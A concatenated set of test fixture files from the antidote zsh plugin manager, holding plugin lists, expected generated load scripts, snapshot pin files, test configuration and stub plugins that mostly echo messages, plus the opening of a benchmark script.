getantidote/zsh-defer kind:clone # more trailing comments # kind:zsh foo/bar kind:zsh # kind:zsh with quotes foo/bar "kind:zsh" # kind:zsh with single quotes foo/bar kind:'zsh' # kind:fpath foo/bar kind:fpath # kind:path foo/bar kind:path # subpath plugins ohmy/ohmy path:lib ohmy/ohmy path:plugins/extract # deferred ohmy/ohmy path:plugins/magic-enter kind:defer # all-the-things all/things path:plugins/things kind:defer branch:everything # theme ohmy/ohmy path:custom/themes/pretty.zsh-theme mattmc3-antidote-9bb69ab/tests/testdata/.zsh_plugins.zsh000066400000000000000000000031121523541175400235170ustar00rootroot00000000000000fpath+=( "$HOME/foo/bar" ) source "$HOME/foo/bar/bar.plugin.zsh" fpath+=( "$ZSH_CUSTOM/plugins/myplugin" ) source "$ZSH_CUSTOM/plugins/myplugin/myplugin.plugin.zsh" fpath+=( "$HOME/.cache/antidote/fakegitsite.com/foo/bar" ) source "$HOME/.cache/antidote/fakegitsite.com/foo/bar/bar.plugin.zsh" fpath+=( "$HOME/.cache/antidote/fakegitsite.com/foo/qux" ) source "$HOME/.cache/antidote/fakegitsite.com/foo/qux/qux.plugin.zsh" fpath+=( "$HOME/.cache/antidote/fakegitsite.com/foo/bar" ) source "$HOME/.cache/antidote/fakegitsite.com/foo/bar/bar.plugin.zsh" fpath+=( "$HOME/.cache/antidote/fakegitsite.com/foo/bar" ) export PATH="$HOME/.cache/antidote/fakegitsite.com/foo/bar:$PATH" fpath+=( "$HOME/.cache/antidote/fakegitsite.com/ohmy/ohmy/lib" ) source "$HOME/.cache/antidote/fakegitsite.com/ohmy/ohmy/lib/lib1.zsh" source "$HOME/.cache/antidote/fakegitsite.com/ohmy/ohmy/lib/lib2.zsh" source "$HOME/.cache/antidote/fakegitsite.com/ohmy/ohmy/lib/lib3.zsh" fpath+=( "$HOME/.cache/antidote/fakegitsite.com/ohmy/ohmy/plugins/extract" ) source "$HOME/.cache/antidote/fakegitsite.com/ohmy/ohmy/plugins/extract/extract.plugin.zsh" if ! (( $+functions[zsh-defer] )); then fpath+=( "$HOME/.cache/antidote/fakegitsite.com/getantidote/zsh-defer" ) source "$HOME/.cache/antidote/fakegitsite.com/getantidote/zsh-defer/zsh-defer.plugin.zsh" fi fpath+=( "$HOME/.cache/antidote/fakegitsite.com/ohmy/ohmy/plugins/magic-enter" ) zsh-defer source "$HOME/.cache/antidote/fakegitsite.com/ohmy/ohmy/plugins/magic-enter/magic-enter.plugin.zsh" source "$HOME/.cache/antidote/fakegitsite.com/ohmy/ohmy/custom/themes/pretty.zsh-theme" mattmc3-antidote-9bb69ab/tests/testdata/.zsh_plugins_empty.txt000066400000000000000000000000321523541175400247460ustar00rootroot00000000000000# comments # nothing here mattmc3-antidote-9bb69ab/tests/testdata/.zsh_plugins_purged.txt000066400000000000000000000007551523541175400251120ustar00rootroot00000000000000# local plugins ~/foo/bar $ZSH_CUSTOM path:plugins/myplugin # repo plugins # foo/bar git@fakegitsite.com:foo/qux.git # trailing comments # kind:clone getantidote/zsh-defer kind:clone # more trailing comments # kind:zsh # foo/bar kind:zsh # kind:fpath # foo/bar kind:fpath # kind:path # foo/bar kind:path # subpath plugins ohmy/ohmy path:lib ohmy/ohmy path:plugins/extract # deferred ohmy/ohmy path:plugins/magic-enter kind:defer # theme ohmy/ohmy path:custom/themes/pretty.zsh-theme mattmc3-antidote-9bb69ab/tests/testdata/.zsh_plugins_repos.txt000066400000000000000000000007201523541175400247440ustar00rootroot00000000000000# comments user/repo # blank lines # regular repos https://github.com/user/repo http://github.com/user/repo.git https://github.com/user/repo git@github.com:user/repo # annotations bar/baz path:plugins/qux bar/baz path:themes/qux.zsh-theme # branch foobar/foobar branch:baz # defer https://github.com/foo/qux kind:defer https://github.com/foo/baz kind:defer # non repos foo ~/.zplugins/bar $ZDOTDIR/plugins/bar # dupes user/repo https://github.com/user/repo mattmc3-antidote-9bb69ab/tests/testdata/.zsh_plugins_using.txt000066400000000000000000000012101523541175400247340ustar00rootroot00000000000000# Standalone repo before any using: context bar/baz kind:fpath # Use ohmy/ohmy with a plugins path prefix using:ohmy/ohmy path:plugins docker extract git # A regular repo between use blocks does not reset the context foo/baz kind:clone # Words after a non-word still expand using the active context magic-enter macos # Second using: replaces the first, themes with kind:path using:ohmy/ohmy path:themes kind:path pretty.zsh-theme # Use with branch: all entries (clone + words) inherit it using:foo/bar branch:dev bar.plugin.zsh # Path-based using: no clone, words expand to full local paths using:$ZDOTDIR/custom path:plugins myplugin bedlam mattmc3-antidote-9bb69ab/tests/testdata/.zsh_plugins_using.zsh000066400000000000000000000022301523541175400247240ustar00rootroot00000000000000fpath+=( "$ANTIDOTE_HOME/fakegitsite.com/bar/baz" ) fpath+=( "$ANTIDOTE_HOME/fakegitsite.com/ohmy/ohmy/plugins/docker" ) source "$ANTIDOTE_HOME/fakegitsite.com/ohmy/ohmy/plugins/docker/docker.plugin.zsh" fpath+=( "$ANTIDOTE_HOME/fakegitsite.com/ohmy/ohmy/plugins/extract" ) source "$ANTIDOTE_HOME/fakegitsite.com/ohmy/ohmy/plugins/extract/extract.plugin.zsh" fpath+=( "$ANTIDOTE_HOME/fakegitsite.com/ohmy/ohmy/plugins/git" ) source "$ANTIDOTE_HOME/fakegitsite.com/ohmy/ohmy/plugins/git/git.plugin.zsh" fpath+=( "$ANTIDOTE_HOME/fakegitsite.com/ohmy/ohmy/plugins/magic-enter" ) source "$ANTIDOTE_HOME/fakegitsite.com/ohmy/ohmy/plugins/magic-enter/magic-enter.plugin.zsh" fpath+=( "$ANTIDOTE_HOME/fakegitsite.com/ohmy/ohmy/plugins/macos" ) source "$ANTIDOTE_HOME/fakegitsite.com/ohmy/ohmy/plugins/macos/macos.plugin.zsh" export PATH="$ANTIDOTE_HOME/fakegitsite.com/ohmy/ohmy/themes/pretty.zsh-theme:$PATH" source "$ANTIDOTE_HOME/fakegitsite.com/foo/bar/bar.plugin.zsh" fpath+=( "$ZDOTDIR/custom/plugins/myplugin" ) source "$ZDOTDIR/custom/plugins/myplugin/myplugin.plugin.zsh" fpath+=( "$ZDOTDIR/custom/plugins/bedlam" ) source "$ZDOTDIR/custom/plugins/bedlam/bedlam.plugin.zsh" mattmc3-antidote-9bb69ab/tests/testdata/antibody/000077500000000000000000000000001523541175400221625ustar00rootroot00000000000000mattmc3-antidote-9bb69ab/tests/testdata/antibody/script-foobar.zsh000066400000000000000000000002771523541175400254700ustar00rootroot00000000000000fpath+=( "$ANTIDOTE_HOME/https-COLON--SLASH--SLASH-fakegitsite.com-SLASH-foo-SLASH-bar" ) source "$ANTIDOTE_HOME/https-COLON--SLASH--SLASH-fakegitsite.com-SLASH-foo-SLASH-bar/bar.plugin.zsh" mattmc3-antidote-9bb69ab/tests/testdata/antibody/script-fooqux.zsh000066400000000000000000000002311523541175400255270ustar00rootroot00000000000000fpath+=( "$ANTIDOTE_HOME/git-AT-fakegitsite.com-COLON-foo-SLASH-qux" ) source "$ANTIDOTE_HOME/git-AT-fakegitsite.com-COLON-foo-SLASH-qux/qux.plugin.zsh" mattmc3-antidote-9bb69ab/tests/testdata/real/000077500000000000000000000000001523541175400212745ustar00rootroot00000000000000mattmc3-antidote-9bb69ab/tests/testdata/real/.zsh_plugins.crlf.txt000066400000000000000000000002321523541175400254020ustar00rootroot00000000000000# CRLF file rupa/z zsh-users/zsh-syntax-highlighting zsh-users/zsh-completions zsh-users/zsh-autosuggestions zsh-users/zsh-history-substring-search mattmc3-antidote-9bb69ab/tests/testdata/real/.zsh_plugins.snapshot.2024.txt000066400000000000000000000023121523541175400267020ustar00rootroot00000000000000# antidote snapshot # version: 2.0.9 # date: 2024-01-01T00:00:00Z dracula/zsh kind:clone pin:75ea3f5e1055291caf56b4aea6a5d58d00541c41 mattmc3/antidote kind:clone pin:de71516a7bdca8fbf17eda1d08129772ff6e8622 mattmc3/zman kind:clone pin:40483a43f262698476d3d3c740c3c865e15ac01e ohmyzsh/ohmyzsh kind:clone pin:fa770f9678477febe0ed99566d9f3331f3714eca peterhurford/up.zsh kind:clone pin:c8cc0d0edd6be2d01f467267e3ed385c386a0acb romkatv/zsh-bench kind:clone pin:3b4896c4840c64bea8e79b8392a93dfdc5a0a096 romkatv/zsh-defer kind:clone pin:1c75faff4d8584afe090b06db11991c8c8d62055 rummik/zsh-tailf kind:clone pin:92b04527b784a70a952efde20e6a7269278fb17d rupa/z kind:clone pin:d37a763a6a30e1b32766fecc3b8ffd6127f8a0fd sindresorhus/pure kind:clone pin:4e0ce0a2f8576894e5dad83857e9a9851faa0f5b zdharma-continuum/fast-syntax-highlighting kind:clone pin:cf318e06a9b7c9f2219d78f41b46fa6e06011fd9 zsh-users/antigen kind:clone pin:64de2dcd95d6a8e879cd2244c763d99f0144e78e zsh-users/zsh-autosuggestions kind:clone pin:11d17e7fea9fba8067f992b3d95e884c20a4069c zsh-users/zsh-history-substring-search kind:clone pin:8dd05bfcc12b0cd1ee9ea64be725b3d9f713cf64 zsh-users/zsh-syntax-highlighting kind:clone pin:dcc99a86497491dfe41fb8b0d5f506033546a8c0 mattmc3-antidote-9bb69ab/tests/testdata/real/.zsh_plugins.snapshot.2026.txt000066400000000000000000000023121523541175400267040ustar00rootroot00000000000000# antidote snapshot # version: 2.0.9 # date: 2026-01-01T00:00:00Z dracula/zsh kind:clone pin:75ea3f5e1055291caf56b4aea6a5d58d00541c41 mattmc3/antidote kind:clone pin:de71516a7bdca8fbf17eda1d08129772ff6e8622 mattmc3/zman kind:clone pin:8c41af514ae9ab6bc78078ed97c376edcfab929d ohmyzsh/ohmyzsh kind:clone pin:a79b37b95461ea2be32578957473375954ab31ff peterhurford/up.zsh kind:clone pin:c8cc0d0edd6be2d01f467267e3ed385c386a0acb romkatv/zsh-bench kind:clone pin:d7f9f821688bdff9365e630a8aaeba1fd90499b1 romkatv/zsh-defer kind:clone pin:53a26e287fbbe2dcebb3aa1801546c6de32416fa rummik/zsh-tailf kind:clone pin:92b04527b784a70a952efde20e6a7269278fb17d rupa/z kind:clone pin:d37a763a6a30e1b32766fecc3b8ffd6127f8a0fd sindresorhus/pure kind:clone pin:54bd501c802283dee0940457da6eb3e642bd1453 zdharma-continuum/fast-syntax-highlighting kind:clone pin:3d574ccf48804b10dca52625df13da5edae7f553 zsh-users/antigen kind:clone pin:64de2dcd95d6a8e879cd2244c763d99f0144e78e zsh-users/zsh-autosuggestions kind:clone pin:85919cd1ffa7d2d5412f6d3fe437ebdbeeec4fc5 zsh-users/zsh-history-substring-search kind:clone pin:aa09f04747c0e3326914a895b304498b000c6e70 zsh-users/zsh-syntax-highlighting kind:clone pin:5eb677bb0fa9a3e60f0eff031dc13926e093df92 mattmc3-antidote-9bb69ab/tests/testdata/real/.zsh_plugins.txt000066400000000000000000000020461523541175400244620ustar00rootroot00000000000000# paths #$ZDOTDIR/aliases.zsh $ZSH_CUSTOM/plugins/myplugin # plugins zsh-users/zsh-history-substring-search https://github.com/zsh-users/zsh-autosuggestions # git@ repo URLs aren't good for CI... revisit # git@github.com:zsh-users/zsh-completions.git # kind:zsh zsh-users/zsh-syntax-highlighting kind:zsh # kind:clone zsh-users/antigen kind:clone # kind:fpath sindresorhus/pure kind:fpath # kind:path romkatv/zsh-bench kind:path # kind:autoload mattmc3/zman path:functions kind:autoload # fpath-rule ohmyzsh/ohmyzsh path:plugins/gradle fpath-rule:prepend ohmyzsh/ohmyzsh path:plugins/docker fpath-rule:append # conditional ohmyzsh/ohmyzsh path:plugins/macos conditional:is-macos # branches mattmc3/antidote branch:v1 # subpath plugins ohmyzsh/ohmyzsh path:lib/clipboard.zsh ohmyzsh/ohmyzsh path:plugins/extract ohmyzsh/ohmyzsh path:plugins/magic-enter ohmyzsh/ohmyzsh path:plugins/fancy-ctrl-z # deferred zdharma-continuum/fast-syntax-highlighting kind:defer # theme dracula/zsh # non-conforming plugins peterhurford/up.zsh rummik/zsh-tailf rupa/z mattmc3-antidote-9bb69ab/tests/testdata/real/.zsh_plugins.zsh000066400000000000000000000047221523541175400244520ustar00rootroot00000000000000fpath+=( "$ZSH_CUSTOM/plugins/myplugin" ) source "$ZSH_CUSTOM/plugins/myplugin/myplugin.plugin.zsh" fpath+=( "$ANTIDOTE_HOME/zsh-users/zsh-history-substring-search" ) source "$ANTIDOTE_HOME/zsh-users/zsh-history-substring-search/zsh-history-substring-search.plugin.zsh" fpath+=( "$ANTIDOTE_HOME/zsh-users/zsh-autosuggestions" ) source "$ANTIDOTE_HOME/zsh-users/zsh-autosuggestions/zsh-autosuggestions.plugin.zsh" fpath+=( "$ANTIDOTE_HOME/zsh-users/zsh-syntax-highlighting" ) source "$ANTIDOTE_HOME/zsh-users/zsh-syntax-highlighting/zsh-syntax-highlighting.plugin.zsh" fpath+=( "$ANTIDOTE_HOME/sindresorhus/pure" ) export PATH="$ANTIDOTE_HOME/romkatv/zsh-bench:$PATH" fpath+=( "$ANTIDOTE_HOME/mattmc3/zman/functions" ) builtin autoload -Uz "$ANTIDOTE_HOME/mattmc3/zman/functions"/*(N.:t) fpath=( "$ANTIDOTE_HOME/ohmyzsh/ohmyzsh/plugins/gradle" $fpath ) source "$ANTIDOTE_HOME/ohmyzsh/ohmyzsh/plugins/gradle/gradle.plugin.zsh" fpath+=( "$ANTIDOTE_HOME/ohmyzsh/ohmyzsh/plugins/docker" ) source "$ANTIDOTE_HOME/ohmyzsh/ohmyzsh/plugins/docker/docker.plugin.zsh" if is-macos; then fpath+=( "$ANTIDOTE_HOME/ohmyzsh/ohmyzsh/plugins/macos" ) source "$ANTIDOTE_HOME/ohmyzsh/ohmyzsh/plugins/macos/macos.plugin.zsh" fi fpath+=( "$ANTIDOTE_HOME/mattmc3/antidote" ) source "$ANTIDOTE_HOME/mattmc3/antidote/antidote.zsh" source "$ANTIDOTE_HOME/ohmyzsh/ohmyzsh/lib/clipboard.zsh" fpath+=( "$ANTIDOTE_HOME/ohmyzsh/ohmyzsh/plugins/extract" ) source "$ANTIDOTE_HOME/ohmyzsh/ohmyzsh/plugins/extract/extract.plugin.zsh" fpath+=( "$ANTIDOTE_HOME/ohmyzsh/ohmyzsh/plugins/magic-enter" ) source "$ANTIDOTE_HOME/ohmyzsh/ohmyzsh/plugins/magic-enter/magic-enter.plugin.zsh" fpath+=( "$ANTIDOTE_HOME/ohmyzsh/ohmyzsh/plugins/fancy-ctrl-z" ) source "$ANTIDOTE_HOME/ohmyzsh/ohmyzsh/plugins/fancy-ctrl-z/fancy-ctrl-z.plugin.zsh" if ! (( $+functions[zsh-defer] )); then fpath+=( "$ANTIDOTE_HOME/romkatv/zsh-defer" ) source "$ANTIDOTE_HOME/romkatv/zsh-defer/zsh-defer.plugin.zsh" fi fpath+=( "$ANTIDOTE_HOME/zdharma-continuum/fast-syntax-highlighting" ) zsh-defer source "$ANTIDOTE_HOME/zdharma-continuum/fast-syntax-highlighting/fast-syntax-highlighting.plugin.zsh" fpath+=( "$ANTIDOTE_HOME/dracula/zsh" ) source "$ANTIDOTE_HOME/dracula/zsh/dracula.zsh-theme" fpath+=( "$ANTIDOTE_HOME/peterhurford/up.zsh" ) source "$ANTIDOTE_HOME/peterhurford/up.zsh/up.plugin.zsh" fpath+=( "$ANTIDOTE_HOME/rummik/zsh-tailf" ) source "$ANTIDOTE_HOME/rummik/zsh-tailf/tailf.plugin.zsh" fpath+=( "$ANTIDOTE_HOME/rupa/z" ) source "$ANTIDOTE_HOME/rupa/z/z.sh" mattmc3-antidote-9bb69ab/tests/testdata/real/repo-list.txt000066400000000000000000000011351523541175400237530ustar00rootroot00000000000000https://github.com/dracula/zsh https://github.com/mattmc3/antidote https://github.com/mattmc3/zman https://github.com/ohmyzsh/ohmyzsh https://github.com/peterhurford/up.zsh https://github.com/romkatv/zsh-bench https://github.com/romkatv/zsh-defer https://github.com/rummik/zsh-tailf https://github.com/rupa/z https://github.com/sindresorhus/pure https://github.com/zdharma-continuum/fast-syntax-highlighting https://github.com/zsh-users/antigen https://github.com/zsh-users/zsh-autosuggestions https://github.com/zsh-users/zsh-history-substring-search https://github.com/zsh-users/zsh-syntax-highlighting mattmc3-antidote-9bb69ab/tests/testdata/script-foobar.zsh000066400000000000000000000001631523541175400236510ustar00rootroot00000000000000fpath+=( "$ANTIDOTE_HOME/fakegitsite.com/foo/bar" ) source "$ANTIDOTE_HOME/fakegitsite.com/foo/bar/bar.plugin.zsh" mattmc3-antidote-9bb69ab/tests/testdata/script-fooqux.zsh000066400000000000000000000001631523541175400237220ustar00rootroot00000000000000fpath+=( "$ANTIDOTE_HOME/fakegitsite.com/foo/qux" ) source "$ANTIDOTE_HOME/fakegitsite.com/foo/qux/qux.plugin.zsh" mattmc3-antidote-9bb69ab/tests/testdata/usage_dispatch.txt000066400000000000000000000014701523541175400240770ustar00rootroot00000000000000antidote - the cure to slow zsh plugin management usage: antidote [] [ ...] flags: -h, --help Show context-sensitive help -v, --version Show application version --diagnostics Show antidote and system diagnostics commands: bundle Clone bundle(s) and generate the static load script install Clone a new bundle and add it to your plugins file update Update antidote and its cloned bundles purge Remove a cloned bundle home Print where antidote is cloning bundles list List cloned bundles path Print the path of a cloned bundle snapshot Save, restore, or list bundle snapshots init Initialize the shell for dynamic bundles help Show documentation load Statically source all bundles from the plugins file mattmc3-antidote-9bb69ab/tests/tmp_home/000077500000000000000000000000001523541175400203505ustar00rootroot00000000000000mattmc3-antidote-9bb69ab/tests/tmp_home/.config/000077500000000000000000000000001523541175400216735ustar00rootroot00000000000000mattmc3-antidote-9bb69ab/tests/tmp_home/.config/antidote/000077500000000000000000000000001523541175400235025ustar00rootroot00000000000000mattmc3-antidote-9bb69ab/tests/tmp_home/.config/antidote/config.zsh000066400000000000000000000000771523541175400255010ustar00rootroot00000000000000# antidote config zstyle ':antidote:bundle' path-style 'short' mattmc3-antidote-9bb69ab/tests/tmp_home/.config/antidote/test_config.zsh000066400000000000000000000012301523541175400265300ustar00rootroot00000000000000# antidote config - test overrides # See templates/config.zsh for all available zstyles and their defaults. zstyle ':antidote:git' site 'fakegitsite.com' # zstyle ':antidote:git' protocol 'https' # zstyle ':antidote:git' cmd 'git' # zstyle ':antidote:bundle' path-style 'full' zstyle ':antidote:defer' bundle 'getantidote/zsh-defer' # zstyle ':antidote:fpath' rule 'append' zstyle ':antidote:static' zcompile 'no' # Deepen clones in the foreground so tests never race a disowned job. zstyle ':antidote:test:git' background-deepen 'no' zstyle ':antidote:test' setopts warn_create_global warn_nested_var mattmc3-antidote-9bb69ab/tests/tmp_home/.zsh/000077500000000000000000000000001523541175400212325ustar00rootroot00000000000000mattmc3-antidote-9bb69ab/tests/tmp_home/.zsh/.base_test_fixtures.txt000066400000000000000000000002261523541175400257530ustar00rootroot00000000000000bar/baz kind:clone foo/bar kind:clone foo/baz kind:clone git@fakegitsite.com:foo/qux kind:clone getantidote/zsh-defer kind:clone ohmy/ohmy kind:clone mattmc3-antidote-9bb69ab/tests/tmp_home/.zsh/.zplugins_fake_load000066400000000000000000000010271523541175400250730ustar00rootroot00000000000000# repo plugins foo/bar git@fakegitsite.com:foo/qux.git # trailing comments # kind:clone getantidote/zsh-defer kind:clone # more trailing comments # kind:zsh foo/bar kind:zsh # kind:fpath foo/bar kind:fpath # kind:path foo/bar kind:path # subpath plugins ohmy/ohmy path:lib ohmy/ohmy path:plugins/extract # fpath-rule ohmy/ohmy path:plugins/docker fpath-rule:prepend ohmy/ohmy path:plugins/docker fpath-rule:append # deferred ohmy/ohmy path:plugins/magic-enter kind:defer # theme ohmy/ohmy path:custom/themes/pretty.zsh-theme mattmc3-antidote-9bb69ab/tests/tmp_home/.zsh/.zsh_plugins.txt000066400000000000000000000007451523541175400244240ustar00rootroot00000000000000# local plugins ~/foo/bar $ZSH_CUSTOM path:plugins/myplugin # repo plugins foo/bar git@fakegitsite.com:foo/qux.git # trailing comments # kind:clone getantidote/zsh-defer kind:clone # more trailing comments # kind:zsh foo/bar kind:zsh # kind:fpath foo/bar kind:fpath # kind:path foo/bar kind:path # subpath plugins ohmy/ohmy path:lib ohmy/ohmy path:plugins/extract # deferred ohmy/ohmy path:plugins/magic-enter kind:defer # theme ohmy/ohmy path:custom/themes/pretty.zsh-theme mattmc3-antidote-9bb69ab/tests/tmp_home/.zsh/aliases.zsh000066400000000000000000000000371523541175400234010ustar00rootroot00000000000000echo "sourcing aliases.zsh..." mattmc3-antidote-9bb69ab/tests/tmp_home/.zsh/custom/000077500000000000000000000000001523541175400225445ustar00rootroot00000000000000mattmc3-antidote-9bb69ab/tests/tmp_home/.zsh/custom/lib/000077500000000000000000000000001523541175400233125ustar00rootroot00000000000000mattmc3-antidote-9bb69ab/tests/tmp_home/.zsh/custom/lib/lib1.zsh000066400000000000000000000000741523541175400246700ustar00rootroot00000000000000echo "sourcing custom lib1.zsh..." libs=($libs custom:lib1) mattmc3-antidote-9bb69ab/tests/tmp_home/.zsh/custom/lib/lib2.zsh000066400000000000000000000000741523541175400246710ustar00rootroot00000000000000echo "sourcing custom lib2.zsh..." libs=($libs custom:lib2) mattmc3-antidote-9bb69ab/tests/tmp_home/.zsh/custom/plugins/000077500000000000000000000000001523541175400242255ustar00rootroot00000000000000mattmc3-antidote-9bb69ab/tests/tmp_home/.zsh/custom/plugins/bedlam/000077500000000000000000000000001523541175400254515ustar00rootroot00000000000000mattmc3-antidote-9bb69ab/tests/tmp_home/.zsh/custom/plugins/bedlam/bedlam.plugin.zsh000066400000000000000000000061471523541175400307300ustar00rootroot00000000000000() { setopt interactivecomments typeset -ga bedlam_zopts=( noaliases aliasfuncdef allexport noalwayslastprompt alwaystoend appendcreate noappendhistory autocd autocontinue noautolist noautomenu autonamedirs noautoparamkeys noautoparamslash autopushd noautoremoveslash autoresume nobadpattern nobanghist nobareglobqual bashautolist bashrematch nobeep nobgnice braceccl bsdecho nocaseglob nocasematch cbases cdablevars # cdsilent # Not available in Zsh 5.4.2 chasedots chaselinks nocheckjobs # nocheckrunningjobs # Not available in Zsh 5.4.2 # noclobber combiningchars completealiases completeinword continueonerror correct correctall cprecedences cshjunkiehistory cshjunkieloops cshjunkiequotes cshnullcmd cshnullglob nodebugbeforecmd dvorak emacs noequals # errexit # errreturn noevallineno # noexec extendedglob extendedhistory noflowcontrol # forcefloat nofunctionargzero noglob noglobalexport # noglobalrcs globassign globcomplete globdots globstarshort globsubst nohashcmds nohashdirs hashexecutablesonly nohashlistall histallowclobber nohistbeep histexpiredupsfirst histfcntllock histfindnodups histignorealldups histignoredups histignorespace histlexwords histnofunctions histnostore histreduceblanks nohistsavebycopy histsavenodups histsubstpattern histverify nohup ignorebraces ignoreclosebraces ignoreeof incappendhistory incappendhistorytime # interactive interactivecomments # ksharrays kshautoload kshglob # kshoptionprint kshtypeset kshzerosubscript nolistambiguous nolistbeep listpacked listrowsfirst nolisttypes localloops # localoptions localpatterns localtraps # login longlistjobs magicequalsubst mailwarning markdirs menucomplete # monitor nomultibyte nomultifuncdef nomultios nonomatch nonotify nullglob numericglobsort octalzeroes overstrike pathdirs pathscript pipefail posixaliases posixargzero posixbuiltins posixcd posixidentifiers posixjobs # posixstrings posixtraps printeightbit printexitvalue # privileged promptbang nopromptcr # nopromptpercent nopromptsp promptsubst pushdignoredups pushdminus pushdsilent pushdtohome rcexpandparam rcquotes # norcs recexact rematchpcre # restricted rmstarsilent rmstarwait sharehistory shfileexpansion shglob # shinstdin shnullcmd shoptionletters noshortloops shwordsplit # singlecommand singlelinezle # sourcetrace sunkeyboardhack transientrprompt trapsasync typesetsilent nounset # verbose # vi warncreateglobal warnnestedvar # xtrace # zle ) setopt $bedlam_zopts } mattmc3-antidote-9bb69ab/tests/tmp_home/.zsh/custom/plugins/myplugin/000077500000000000000000000000001523541175400260715ustar00rootroot00000000000000mattmc3-antidote-9bb69ab/tests/tmp_home/.zsh/custom/plugins/myplugin/myplugin.plugin.zsh000066400000000000000000000001061523541175400317550ustar00rootroot00000000000000# fake foo/bar echo "sourcing myplugin..." plugins+=(custom:myplugin) mattmc3-antidote-9bb69ab/tests/tmp_home/.zsh/custom/plugins/mytheme/000077500000000000000000000000001523541175400256755ustar00rootroot00000000000000mattmc3-antidote-9bb69ab/tests/tmp_home/.zsh/custom/plugins/mytheme/mytheme.zsh-theme000066400000000000000000000000651523541175400311740ustar00rootroot00000000000000echo "sourcing mytheme..." plugins+=(custom:mytheme) mattmc3-antidote-9bb69ab/tests/tmp_home/.zsh/functions/000077500000000000000000000000001523541175400232425ustar00rootroot00000000000000mattmc3-antidote-9bb69ab/tests/tmp_home/.zsh/functions/myfunc000066400000000000000000000000761523541175400244710ustar00rootroot00000000000000#!/bin/zsh function myfunc { echo myfunc "$@" } myfunc "$@" mattmc3-antidote-9bb69ab/tools/000077500000000000000000000000001523541175400165365ustar00rootroot00000000000000mattmc3-antidote-9bb69ab/tools/antidote-bench000077500000000000000000000045371523541175400213610ustar00rootroot00000000000000#!/usr/bin/env zsh # Benchmark antidote load performance using the local test fixtures. # Usage: ./tools/antidote-bench # # Reports wall time for dynamic-mode bundling (uncached, cold cache, # and warm cache) and static-mode load, so cache and loader changes can # be compared before/after. 0=${(%):-%x} typeset T_PRJDIR="${0:A:h:h}" cd "$T_PRJDIR" || exit 1 zmodload zsh/datetime fpath+=( $T_PRJDIR/tests/functions ) autoload -Uz $T_PRJDIR/tests/functions/* source ./tests/__init__.zsh || exit 1 t_setup || exit 1 trap 't_teardown' EXIT # A representative bundle set: repos, ssh URL, autoload, subpaths. typeset -ga BENCH_LINES=( 'bar/baz' 'foo/bar' 'foo/baz autoload:functions' 'git@fakegitsite.com:foo/qux' 'ohmy/ohmy path:lib' 'ohmy/ohmy path:plugins/extract' ) ### bench